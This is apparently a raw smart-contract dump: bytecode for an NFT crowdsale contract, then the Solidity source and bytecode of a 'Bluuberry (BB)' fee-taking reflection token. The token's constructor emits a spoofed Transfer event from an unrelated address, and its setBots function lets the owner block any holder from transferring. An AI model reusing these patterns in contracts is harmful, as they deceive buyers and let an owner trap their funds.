0x6080604052600436106100fe5760003560e01c80638c98012911610095578063d73a1b8111610064578063d73a1b8114610261578063df79e54e1461028f578063ec7ac1c4146102a4578063f2fde38b146102c4578063fe35749c146102e4576100fe565b80638c980129146102025780638da5cb5b14610217578063913aab591461022c578063d4a388801461024c576100fe565b80633de80302116100d15780633de80302146101a1578063521eb273146101c357806368f8fc10146101d8578063715018a6146101ed576100fe565b806325bb291c1461011f57806326a21575146101555780632c4e722e146101775780632f83a4a31461018c575b60405162461bcd60e51b8152600401610116906117b7565b60405180910390fd5b34801561012b57600080fd5b5061013f61013a36600461155a565b6102f7565b60405161014c9190611650565b60405180910390f35b34801561016157600080fd5b5061016a6103b3565b60405161014c91906118fa565b34801561018357600080fd5b5061016a6103b9565b34801561019857600080fd5b5061016a610446565b3480156101ad57600080fd5b506101b661044c565b60405161014c91906115e5565b3480156101cf57600080fd5b506101b661045b565b6101eb6101e636600461152f565b61046a565b005b3480156101f957600080fd5b506101eb610a3d565b34801561020e57600080fd5b506101b6610a88565b34801561022357600080fd5b506101b6610a97565b34801561023857600080fd5b5061013f6102473660046114c5565b610aa6565b34801561025857600080fd5b506101b6610b0c565b34801561026d57600080fd5b5061028161027c3660046115b5565b610b1b565b60405161014c929190611903565b34801561029b57600080fd5b5061016a610b47565b3480156102b057600080fd5b5061013f6102bf3660046115b5565b610b4d565b3480156102d057600080fd5b506101eb6102df3660046114c5565b610b62565b6101eb6102f23660046114e1565b610bd3565b60006103016112dd565b6001600160a01b0316610312610a97565b6001600160a01b0316146103385760405162461bcd60e51b815260040161011690611803565b60005b82518110156103a85760016009600085848151811061036a57634e487b7160e01b600052603260045260246000fd5b6020026020010151815260200190815260200160002060006101000a81548160ff021916908315150217905550806103a19061197f565b905061033b565b50600190505b919050565b60065490565b6000600460009054906101000a90046001600160a01b03166001600160a01b0316632c4e722e6040518163ffffffff1660e01b815260040160206040518083038186803b15801561040957600080fd5b505afa15801561041d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044191906115cd565b905090565b60085490565b6001546001600160a01b031690565b6005546001600160a01b031690565b6001600160a01b0382166104905760405162461bcd60e51b815260040161011690611838565b6002546001600160a01b031663dd62ed3e6104a96112dd565b306040518363ffffffff1660e01b81526004016104c79291906115f9565b60206040518083038186803b1580156104df57600080fd5b505afa1580156104f3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051791906115cd565b60075411156105385760405162461bcd60e51b8152600401610116906118b7565b610540610446565b811061055e5760405162461bcd60e51b815260040161011690611763565b60008061056a83610b1b565b91509150602682108061057d5750603582115b806105885750601c81105b806105935750602b81115b6105af5760405162461bcd60e51b81526004016101169061165b565b6105b883610b4d565b156105d55760405162461bcd60e51b8152600401610116906116f5565b600154604051634f558e7960e01b81526001600160a01b0390911690634f558e79906106059086906004016118fa565b60206040518083038186803b15801561061d57600080fd5b505afa158015610631573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106559190611595565b156106725760405162461bcd60e51b81526004016101169061172c565b6002546000906001600160a01b03166370a0823161068e6112dd565b6040518263ffffffff1660e01b81526004016106aa91906115e5565b60206040518083038186803b1580156106c257600080fd5b505afa1580156106d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fa91906115cd565b905080600754116107a8576002546001600160a01b03166323b872dd61071e6112dd565b6005546007546040516001600160e01b031960e086901b16815261075093926001600160a01b03169190600401611613565b602060405180830381600087803b15801561076a57600080fd5b505af115801561077e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a29190611595565b5061096e565b600034116107c85760405162461bcd60e51b815260040161011690611882565b60006107d3346112e1565b6007549091506107e382846113b2565b10156108015760405162461bcd60e51b815260040161011690611882565b6002546003546001600160a01b03918216916323b872dd91166108226112dd565b846040518463ffffffff1660e01b815260040161084193929190611613565b602060405180830381600087803b15801561085b57600080fd5b505af115801561086f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108939190611595565b506002546001600160a01b03166323b872dd6108ad6112dd565b6005546007546040516001600160e01b031960e086901b1681526108df93926001600160a01b03169190600401611613565b602060405180830381600087803b1580156108f957600080fd5b505af115801561090d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109319190611595565b506005546040516001600160a01b03909116903480156108fc02916000818181858888f1935050505015801561096b573d6000803e3d6000fd5b50505b600754600660008282546109829190611911565b90915550506001546040516340c10f1960e01b81526001600160a01b03909116906340c10f19906109b99088908890600401611637565b600060405180830381600087803b1580156109d357600080fd5b505af11580156109e7573d6000803e3d6000fd5b50505050846001600160a01b0316336001600160a01b03167ff9b4eb3e43eebbf559e9b96ceff1c786a7edab2938c7f5f80678197c2e0edba586604051610a2e91906118fa565b60405180910390a35050505050565b610a456112dd565b6001600160a01b0316610a56610a97565b6001600160a01b031614610a7c5760405162461bcd60e51b815260040161011690611803565b610a8660006113c5565b565b6002546001600160a01b031690565b6000546001600160a01b031690565b6000610ab06112dd565b6001600160a01b0316610ac1610a97565b6001600160a01b031614610ae75760405162461bcd60e51b815260040161011690611803565b50600480546001600160a01b0383166001600160a01b03199091161790556001919050565b6004546001600160a01b031690565b600080610b29605a84611929565b9050610b3681605a611949565b610b409084611968565b9150915091565b60075490565b60009081526009602052604090205460ff1690565b610b6a6112dd565b6001600160a01b0316610b7b610a97565b6001600160a01b031614610ba15760405162461bcd60e51b815260040161011690611803565b6001600160a01b038116610bc75760405162461bcd60e51b8152600401610116906116af565b610bd0816113c5565b50565b6001600160a01b038216610bf95760405162461bcd60e51b815260040161011690611838565b60008151600754610c0a9190611949565b6002549091506001600160a01b031663dd62ed3e610c266112dd565b306040518363ffffffff1660e01b8152600401610c449291906115f9565b60206040518083038186803b158015610c5c57600080fd5b505afa158015610c70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9491906115cd565b811115610cb35760405162461bcd60e51b8152600401610116906118b7565b60005b8251811015610eac57610cc7610446565b838281518110610ce757634e487b7160e01b600052603260045260246000fd5b602002602001015110610d0c5760405162461bcd60e51b815260040161011690611763565b600080610d3f858481518110610d3257634e487b7160e01b600052603260045260246000fd5b6020026020010151610b1b565b915091506026821080610d525750603582115b80610d5d5750601c81105b80610d685750602b81115b610d845760405162461bcd60e51b81526004016101169061165b565b610db4858481518110610da757634e487b7160e01b600052603260045260246000fd5b6020026020010151610b4d565b15610dd15760405162461bcd60e51b8152600401610116906116f5565b60015485516001600160a01b0390911690634f558e7990879086908110610e0857634e487b7160e01b600052603260045260246000fd5b60200260200101516040518263ffffffff1660e01b8152600401610e2c91906118fa565b60206040518083038186803b158015610e4457600080fd5b505afa158015610e58573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7c9190611595565b15610e995760405162461bcd60e51b81526004016101169061172c565b505080610ea59061197f565b9050610cb6565b506002546000906001600160a01b03166370a08231610ec96112dd565b6040518263ffffffff1660e01b8152600401610ee591906115e5565b60206040518083038186803b158015610efd57600080fd5b505afa158015610f11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3591906115cd565b9050808211610fdf576002546001600160a01b03166323b872dd610f576112dd565b6005546040516001600160e01b031960e085901b168152610f8792916001600160a01b0316908790600401611613565b602060405180830381600087803b158015610fa157600080fd5b505af1158015610fb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd99190611595565b506111a0565b60003411610fff5760405162461bcd60e51b815260040161011690611882565b600061100a346112e1565b90508261101782846113b2565b10156110355760405162461bcd60e51b815260040161011690611882565b6002546003546001600160a01b03918216916323b872dd91166110566112dd565b846040518463ffffffff1660e01b815260040161107593929190611613565b602060405180830381600087803b15801561108f57600080fd5b505af11580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c79190611595565b506002546001600160a01b03166323b872dd6110e16112dd565b6005546040516001600160e01b031960e085901b16815261111192916001600160a01b0316908890600401611613565b602060405180830381600087803b15801561112b57600080fd5b505af115801561113f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111639190611595565b506005546040516001600160a01b03909116903480156108fc02916000818181858888f1935050505015801561119d573d6000803e3d6000fd5b50505b81600660008282546111b29190611911565b90915550600090505b83518110156112d65760015484516001600160a01b03909116906340c10f199087908790859081106111fd57634e487b7160e01b600052603260045260246000fd5b60200260200101516040518363ffffffff1660e01b8152600401611222929190611637565b600060405180830381600087803b15801561123c57600080fd5b505af1158015611250573d6000803e3d6000fd5b50505050846001600160a01b0316336001600160a01b03167ff9b4eb3e43eebbf559e9b96ceff1c786a7edab2938c7f5f80678197c2e0edba58684815181106112a957634e487b7160e01b600052603260045260246000fd5b60200260200101516040516112be91906118fa565b60405180910390a36112cf8161197f565b90506111bb565b5050505050565b3390565b6000806112f66112ef6103b9565b8490611415565b90506969e10de76676d080000081106113275761131f6064611319836078611415565b90611421565b9150506103ae565b692a5a058fc295ed00000081106113485761131f6064611319836072611415565b690ed2b525841adfc0000081106113695761131f606461131983606d611415565b69065a4da25d3016c00000811061138a5761131f606461131983606a611415565b69021e19e0c9bab240000081106113ab5761131f6064611319836068611415565b90506103ae565b60006113be8284611911565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006113be8284611949565b60006113be8284611929565b600082601f83011261143d578081fd5b8135602067ffffffffffffffff8083111561145a5761145a6119b0565b81830260405183828201018181108482111715611479576114796119b0565b60405284815283810192508684018288018501891015611497578687fd5b8692505b858310156114b957803584529284019260019290920191840161149b565b50979650505050505050565b6000602082840312156114d6578081fd5b81356113be816119c6565b600080604083850312156114f3578081fd5b82356114fe816119c6565b9150602083013567ffffffffffffffff811115611519578182fd5b6115258582860161142d565b9150509250929050565b60008060408385031215611541578182fd5b823561154c816119c6565b946020939093013593505050565b60006020828403121561156b578081fd5b813567ffffffffffffffff811115611581578182fd5b61158d8482850161142d565b949350505050565b6000602082840312156115a6578081fd5b815180151581146113be578182fd5b6000602082840312156115c6578081fd5b5035919050565b6000602082840312156115de578081fd5b5051919050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b60208082526034908201527f43726f776473616c653a20746f6b656e49642073686f756c64206e6f7420626560408201527320696e2074686520756e736f6c642072616e676560601b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601d908201527f43726f776473616c653a20746f6b656e20616c726561647920736f6c64000000604082015260600190565b6020808252601f908201527f43726f776473616c653a20746f6b656e20616c7265616479206d696e74656400604082015260600190565b60208082526034908201527f43726f776473616c653a20746f6b656e4964206d757374206265206c657373206040820152731d1a185b881b585e081d1bdad95b8818dbdd5b9d60621b606082015260800190565b6020808252602c908201527f43726f776473616c653a2063616e6e6f742061636365707420616e7920616d6f60408201526b756e74206469726563746c7960a01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252602a908201527f43726f776473616c653a2062656e656669636961727920697320746865207a65604082015269726f206164647265737360b01b606082015260800190565b6020808252818101527f43726f776473616c653a204e6f7420656e6f75676820434c44206f7220455448604082015260600190565b60208082526023908201527f43726f776473616c653a204e6f7420656e6f75676820434c4420616c6c6f77616040820152626e636560e81b606082015260800190565b90815260200190565b918252602082015260400190565b600082198211156119245761192461199a565b500190565b60008261194457634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119635761196361199a565b500290565b60008282101561197a5761197a61199a565b500390565b60006000198214156119935761199361199a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610bd057600080fdfea264697066735822122049bf3d70ae0e5541e58d68152e35b7ace8dcb313b9d38573d427507e78320e6164736f6c63430008000033
[ 16, 4 ]
0xf1d72174d748e10753e0dd484eabd84c92bb377a
/** Bluuberry (BB) Join Our Telegram: t.me/BluuberryETH */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Bluuberry is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 5000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Bluuberry"; string private constant _symbol = "BB"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x559ebFeC7be7f1A27a38Be3b03bF2D4c70Ad62b3); _feeAddrWallet2 = payable(0x559ebFeC7be7f1A27a38Be3b03bF2D4c70Ad62b3); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x365c01CDA4fE147EFD6D27E06236EEbb19eBfEE1), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 3; _feeAddr2 = 3; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 3; _feeAddr2 = 3; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 1000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612a76565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906125f0565b61042a565b60405161016d9190612a5b565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612bd8565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061259d565b61045a565b6040516101d59190612a5b565b60405180910390f35b3480156101ea57600080fd5b5061020560048036038101906102009190612503565b610533565b005b34801561021357600080fd5b5061021c610623565b6040516102299190612c4d565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190612679565b61062c565b005b34801561026757600080fd5b506102706106de565b005b34801561027e57600080fd5b5061029960048036038101906102949190612503565b610750565b6040516102a69190612bd8565b60405180910390f35b3480156102bb57600080fd5b506102c46107a1565b005b3480156102d257600080fd5b506102db6108f4565b6040516102e8919061298d565b60405180910390f35b3480156102fd57600080fd5b5061030661091d565b6040516103139190612a76565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906125f0565b61095a565b6040516103509190612a5b565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b9190612630565b610978565b005b34801561038e57600080fd5b50610397610aa2565b005b3480156103a557600080fd5b506103ae610b1c565b005b3480156103bc57600080fd5b506103d760048036038101906103d2919061255d565b61107a565b6040516103e49190612bd8565b60405180910390f35b60606040518060400160405280600981526020017f426c757562657272790000000000000000000000000000000000000000000000815250905090565b600061043e610437611101565b8484611109565b6001905092915050565b600069010f0cf064dd59200000905090565b60006104678484846112d4565b61052884610473611101565b6105238560405180606001604052806028815260200161330260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d9611101565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d99092919063ffffffff16565b611109565b600190509392505050565b61053b611101565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bf90612b38565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610634611101565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b890612b38565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071f611101565b73ffffffffffffffffffffffffffffffffffffffff161461073f57600080fd5b600047905061074d8161193d565b50565b600061079a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a38565b9050919050565b6107a9611101565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610836576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082d90612b38565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4242000000000000000000000000000000000000000000000000000000000000815250905090565b600061096e610967611101565b84846112d4565b6001905092915050565b610980611101565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0490612b38565b60405180910390fd5b60005b8151811015610a9e57600160066000848481518110610a3257610a31612f95565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9690612eee565b915050610a10565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae3611101565b73ffffffffffffffffffffffffffffffffffffffff1614610b0357600080fd5b6000610b0e30610750565b9050610b1981611aa6565b50565b610b24611101565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba890612b38565b60405180910390fd5b600f60149054906101000a900460ff1615610c01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf890612bb8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c9230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669010f0cf064dd59200000611109565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cd857600080fd5b505afa158015610cec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d109190612530565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d7257600080fd5b505afa158015610d86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610daa9190612530565b6040518363ffffffff1660e01b8152600401610dc79291906129a8565b602060405180830381600087803b158015610de157600080fd5b505af1158015610df5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e199190612530565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ea230610750565b600080610ead6108f4565b426040518863ffffffff1660e01b8152600401610ecf969594939291906129fa565b6060604051808303818588803b158015610ee857600080fd5b505af1158015610efc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f2191906126d3565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550683635c9adc5dea000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016110249291906129d1565b602060405180830381600087803b15801561103e57600080fd5b505af1158015611052573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107691906126a6565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611179576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117090612b98565b60405180910390fd5b600073fffffffffffffffffffffff